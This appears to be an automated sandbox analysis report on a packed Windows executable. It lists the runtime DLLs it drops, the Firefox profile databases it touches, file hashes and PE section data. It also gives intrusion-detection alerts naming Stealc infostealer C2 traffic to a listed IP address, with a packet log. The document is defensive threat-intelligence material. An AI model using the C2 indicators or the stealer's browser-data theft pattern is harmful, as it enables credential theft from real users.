C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948639261687451
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'865'216 bytes
MD5:	f3ace806eb44f5df3eaaa6bc01b76a71
SHA1:	a14c9a7c01841034e1841e76f7c0ad8206269457
SHA256:	23c77621b13c2ffd425a4781c3ba1abca12e038589471feafa460c8f3c884236
SHA512:	cd8119fe5d36f528ac6721a2c2991d5ff93e0806268d4fb241cd247101cb232f5ab3c1346fd473a0a37f00284c1a0f820d9908c92d7dd94a4c9f913c9f77f747
SSDEEP:	49152:xN+svJfNaOzrRvIGy2KySbSHpM4h5hBPKrBd:xUsvJfNaO/RvIZ2xBSH
TLSH:	F08533E81BDA61E6DD2892F3FF456A0C6F7C47E8984B5701E5D3E2148417A6006EB8FC
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa5000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F148C66F4EAh
andps xmm3, dqword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F148C6714E5h
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	e92e23c547079794d620b910c6c0f085	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a4000	0x200	1e41a3e4f98326d9e573b517d393b514	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zqeaefot	0x502000	0x1a2000	0x1a1400	9e95282a26fcc178bf5353010289d09a	False	0.9949071300179748	data	7.953751496877036	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
eiinewwy	0x6a4000	0x1000	0x400	d3f40d128c3787187fc2e92d766ce81f	False	0.810546875	data	6.298919434448059	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a5000	0x3000	0x2200	2952be8974f96d8c59ed749918dc9495	False	0.06560202205882353	DOS executable (COM)	0.7202416853826993	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T11:18:18.716628+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T11:18:18.950894+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T11:18:18.958080+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.5	49706	TCP
2024-10-08T11:18:19.187406+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T11:18:19.253821+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.5	49706	TCP
2024-10-08T11:18:21.046946+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T11:18:21.500714+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T11:18:26.892348+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T11:18:28.032843+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T11:18:29.002988+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T11:18:29.602016+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T11:18:31.564286+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T11:18:32.334359+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49706	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 11:18:17.717078924 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:17.722115040 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:17.722289085 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:17.722465992 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:17.727251053 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:18.459156036 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:18.459407091 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:18.462301016 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:18.467206955 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:18.716351032 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:18.716628075 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:18.717431068 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:18.722230911 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:18.950808048 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:18.950819969 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:18.950894117 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:18.950894117 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:18.953203917 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:18.958080053 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:19.187256098 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:19.187277079 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:19.187288046 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:19.187298059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:19.187309027 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:19.187319994 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:19.187406063 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:19.187406063 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:19.187577009 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:19.187594891 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:19.187644958 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:19.187644958 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:19.248943090 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:19.253820896 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:19.482445002 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:19.483234882 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:19.513147116 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:19.513148069 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:19.518274069 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:19.518290997 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:19.518301964 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:19.518371105 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:19.518382072 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:19.518465042 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:19.518475056 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.046655893 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.046775103 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.046946049 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.046981096 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.047096014 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.047096014 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.269427061 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.274319887 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.500648975 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.500668049 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.500678062 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.500688076 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.500699043 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.500714064 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.500740051 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.500957966 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.500968933 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.500978947 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.501000881 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.501024008 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.501306057 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.501317978 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.501327038 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.501349926 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.501364946 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.501729965 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.501740932 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.501750946 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.501784086 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.633460999 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.633480072 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.633491993 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.633502960 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.633513927 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.633527040 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.633575916 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.633606911 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.633912086 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.633929968 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.633941889 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.633954048 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.633955956 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.633965969 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.633987904 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.634007931 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.634599924 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.634612083 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.634624004 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.634638071 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.634645939 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.634649038 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.634659052 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.634663105 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.634684086 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.634702921 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.635472059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.635507107 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.635513067 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.635519981 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.635544062 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.635554075 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.635570049 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.635581970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.635593891 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.635613918 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.635623932 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.636368036 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.636410952 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.766397953 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.766411066 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.766417980 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.766450882 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.766462088 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.766472101 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.766483068 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.766494036 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.766608953 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.766649008 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:21.766808987 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:21.766854048 CEST	49706	80	192.168.2.5	185.215.113.37
